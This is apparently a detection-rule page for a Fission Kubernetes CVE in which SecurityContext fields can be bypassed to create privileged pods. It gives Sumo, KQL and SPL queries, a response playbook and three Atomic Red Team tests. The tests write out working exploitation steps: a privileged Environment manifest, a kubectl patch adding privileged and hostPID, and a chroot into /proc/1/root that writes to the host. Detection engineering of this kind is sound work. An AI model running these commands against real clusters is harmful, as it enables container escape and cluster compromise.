CVE-2026-50566 Sumo Logic CSE · Sumo

Detect Fission SecurityContext Bypass Privileged Pod Creation (CVE-2026-50566) in Sumo Logic CSE

Detects exploitation of CVE-2026-50566, a critical (CVSS 9.9) vulnerability in Fission (<= 1.23.0) where the Environment Runtime.Container and Builder.Container SecurityContext fields can be manipulated to bypass intended pod security restrictions, allowing creation of privileged pods within the Kubernetes cluster. Attackers with Fission Environment/Function CRUD access can escalate to node-level or cluster-level compromise by deploying privileged containers via the executor's pod spec generation, bypassing SecurityContext hardening (e.g. privileged: true, allowPrivilegeEscalation, hostPID, hostNetwork, capabilities such as SYS_ADMIN). This detection focuses on Kubernetes audit log events showing creation/update of Fission Environment CRDs with permissive securityContext blocks and subsequent pod creation events reflecting privileged escalation in namespaces managed by Fission (typically fission-function, fission-builder).

MITRE ATT&CK

Tactic
Privilege Escalation Initial Access Defense Evasion

Sumo Detection Query

Sumo Logic CSE (Sumo)
sql 
_sourceCategory=kubernetes/audit
| json field=_raw "verb", "objectRef.resource", "objectRef.namespace", "objectRef.name", "user.username", "requestObject" as verb, resource, namespace, objname, user, reqobj
| where (resource="environments" or resource="pods")
| where (verb="create" or verb="update" or verb="patch")
| where namespace matches "*fission*"
| where (reqobj matches "*privileged*true*" or reqobj matches "*allowPrivilegeEscalation*true*" or reqobj matches "*hostPID*true*" or reqobj matches "*SYS_ADMIN*")
| fields _messagetime, user, verb, resource, namespace, objname, reqobj
| sort by _messagetime
critical severity medium confidence

Sumo Logic search rule identifying privileged pod/environment creation events tied to Fission namespaces, indicating potential CVE-2026-50566 exploitation.

Data Sources

Kubernetes Audit Logs

Required Tables

kubernetes_audit

False Positives & Tuning

  • Approved privileged infrastructure pods (CNI, CSI drivers)
  • Internal red team authorized testing of Fission environments
  • Duplicate log forwarding causing repeated benign matches

Other platforms for CVE-2026-50566

Microsoft Sentinel (KQL) Splunk (SPL) Elastic Security (Elastic) IBM QRadar (QRadar) Google Chronicle (YARA-L) CrowdStrike LogScale (LogScale) All platforms (combined) →

Testing Methodology

Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.

  1. Test 1Create Fission Environment with Privileged SecurityContext

    Expected signal: Kubernetes audit log entry showing a 'create' verb against the environments resource in fission-function namespace with requestObject containing privileged:true and allowPrivilegeEscalation:true.

  2. Test 2Deploy Function Triggering Privileged Pod via Builder Container

    Expected signal: Kubernetes audit log showing 'update' verb on environments resource with builder.container.securityContext containing privileged:true and hostPID:true, followed by pod creation events in fission-builder namespace.

  3. Test 3Verify Privileged Pod Escapes to Host Filesystem

    Expected signal: Container runtime and host-level audit logs showing a process from within the fission-function namespace pod performing a chroot/mount operation accessing the host root filesystem (/proc/1/root).

Last updated: 2026-07-30 Research depth: standard
References (6)

Response Playbook

Triage

  1. Identify the Fission Environment or Function object referenced in the alert and pull its full spec (kubectl get environment <name> -n <namespace> -o yaml) to confirm the Runtime.Container/Builder.Container securityContext values that were modified.
  2. Determine the identity (service account or user) that performed the create/update/patch action from the audit log 'user.username' field, and check whether that identity should have permission to modify Fission Environment CRDs.
  3. Enumerate all pods spawned in the fission-function and fission-builder namespaces around the alert timeframe (kubectl get pods -n fission-function --sort-by=.metadata.creationTimestamp) and inspect their securityContext for privileged=true, hostPID, hostNetwork, or elevated capabilities.
  4. Check the Fission version in use (fission version / helm get values fission) to confirm whether the cluster is running a vulnerable release (<= 1.23.0) versus the patched 1.24.0.

Containment

  1. Immediately cordon and isolate any node hosting a pod confirmed to be running with privileged securityContext originating from the malicious Fission Environment, then delete the offending Environment/Function and associated pods.
  2. Restrict RBAC on Fission CRDs (environments, functions) via a NetworkPolicy/RBAC review so only trusted CI/CD service accounts can create or update Environment objects; revoke over-permissioned bindings.
  3. Apply or enforce a Kubernetes admission controller policy (OPA/Gatekeeper or Kyverno) that blocks privileged securityContext fields cluster-wide as a compensating control until Fission is upgraded to v1.24.0.

Evidence Collection

  1. Export the full Kubernetes audit log entries (raw JSON) for the relevant time window covering the Environment creation/update and subsequent pod creation events, preserving RequestObject and ResponseObject fields.
  2. Capture pod specs, container images, and node placement (kubectl describe pod, kubectl get pod -o yaml) for any privileged pods spawned via the exploited Environment, and snapshot node-level artifacts (process list, mounted volumes) if privilege escalation to host is suspected.
  3. Collect Fission controller and executor logs (kubectl logs -n fission deployment/executor, deployment/controller) to trace the API calls that resulted in pod spec generation with the bypassed securityContext.

Escalation Criteria

  • !Escalate to incident response if any privileged pod created via the Fission bypass shows evidence of host filesystem access, container escape, or lateral movement to the underlying node or other namespaces.
  • !Escalate if the identity that triggered the exploitation is an external or low-privilege user/service account, indicating a broader access control compromise rather than an internal misconfiguration.
  • !Escalate to cluster/platform security team if multiple clusters or namespaces show the same exploitation pattern, suggesting automated or scripted mass exploitation of the poc-public advisory.

Investigation Guide

Related Techniques

[object Object][object Object][object Object]

Forensic Artifacts

  • >Kubernetes API server audit log entries for environments/pods create-update-patch verbs
  • >Fission controller and executor pod logs referencing the exploited Environment name
  • >Node-level container runtime logs (containerd/docker) showing privileged container instantiation and any host namespace access

Tuning Guidance

Baseline which service accounts and CI/CD pipelines legitimately create or update Fission Environment objects, and scope alerting to exclude those known-good identities and namespaces. In clusters where privileged workloads are intentionally allowed (e.g., dedicated infra namespaces), narrow the detection to strictly fission-function/fission-builder namespaces and exclude expected system namespaces (kube-system, cni-system). After upgrading to Fission v1.24.0, monitor for a grace period to ensure legacy Environment objects with permissive securityContext are cleaned up, then tighten thresholds to reduce noise from residual pre-patch configurations.

Hunting Queries

Hunts for anomalous bursts of Fission Environment creation/updates referencing securityContext, which may indicate automated exploitation attempts of CVE-2026-50566 rather than a single manual change.

Hunting — KQL
kql 
KubeAuditLogs
| where ObjectRef_Resource == "environments"
| where RequestObject has "securityContext"
| summarize count() by ObjectRef_Namespace, User_Username, bin(TimeGenerated, 1h)
| where count_ > 5
Hunting — SPL
spl 
index=kubernetes sourcetype="kube:audit" objectRef.resource=environments requestObject="*securityContext*"
| stats count by objectRef.namespace, user.username, _time
| where count > 5

Atomic Red Team Tests

Test 1 Create Fission Environment with Privileged SecurityContext
linux

Simulates the CVE-2026-50566 exploitation by creating a Fission Environment whose Runtime.Container.securityContext includes privileged:true, which should generate function pods with elevated privileges.

Command

bash 
kubectl apply -n fission-function -f - <<'EOF'
apiVersion: fission.io/v1
kind: Environment
metadata:
  name: atomic-test-privileged-env
spec:
  version: 3
  runtime:
    image: fission/python-env
    container:
      name: atomic-test-privileged-env
      securityContext:
        privileged: true
        allowPrivilegeEscalation: true
EOF

Cleanup

bash 
kubectl delete environment atomic-test-privileged-env -n fission-function --ignore-not-found

Expected Telemetry

Kubernetes audit log entry showing a 'create' verb against the environments resource in fission-function namespace with requestObject containing privileged:true and allowPrivilegeEscalation:true.

Expected Detection

KQL/SPL/Elastic queries should fire on the Environment create event referencing privileged securityContext fields in the fission-function namespace.

Test 2 Deploy Function Triggering Privileged Pod via Builder Container
linux

Deploys a Fission Function against the malicious Builder.Container environment to force the executor to spawn a builder pod with a permissive securityContext, validating the end-to-end pod creation path.

Command

bash 
fission env create --name atomic-builder-env --image fission/python-env --builder fission/python-builder --version 3
kubectl patch environment atomic-builder-env -n fission-function --type merge -p '{"spec":{"builder":{"container":{"securityContext":{"privileged":true,"hostPID":true}}}}}'
fission fn create --name atomic-test-fn --env atomic-builder-env --code /tmp/hello.py

Cleanup

bash 
fission fn delete --name atomic-test-fn
fission env delete --name atomic-builder-env

Expected Telemetry

Kubernetes audit log showing 'update' verb on environments resource with builder.container.securityContext containing privileged:true and hostPID:true, followed by pod creation events in fission-builder namespace.

Expected Detection

Detections monitoring both environments and pods resources should trigger on the builder container securityContext patch and the resulting privileged builder pod creation.

Test 3 Verify Privileged Pod Escapes to Host Filesystem
linux

Validates post-exploitation impact by exec'ing into the privileged pod created via the vulnerable Fission Environment and mounting the host filesystem to confirm container escape capability.

Command

bash 
POD=$(kubectl get pods -n fission-function -l environmentName=atomic-test-privileged-env -o jsonpath='{.items[0].metadata.name}')
kubectl exec -it -n fission-function $POD -- chroot /proc/1/root /bin/sh -c 'echo atomic-test-host-access > /tmp/atomic-test-marker'

Cleanup

bash 
kubectl exec -it -n fission-function $POD -- rm -f /proc/1/root/tmp/atomic-test-marker || true
kubectl delete pod $POD -n fission-function --ignore-not-found

Expected Telemetry

Container runtime and host-level audit logs showing a process from within the fission-function namespace pod performing a chroot/mount operation accessing the host root filesystem (/proc/1/root).

Expected Detection

Endpoint/host-based detections for container escape (chroot to /proc/1/root, privileged exec) should fire, correlating with the earlier Kubernetes audit alert for the privileged Environment/pod creation.

Related Detections

Tactic Hubs

TA0004Privilege EscalationTA0001Initial AccessTA0005Defense Evasion

Related Techniques

T1611Escape to HostT1610Deploy ContainerT1078.004Cloud Accounts

Same Tactic: Privilege Escalation

Popular Detections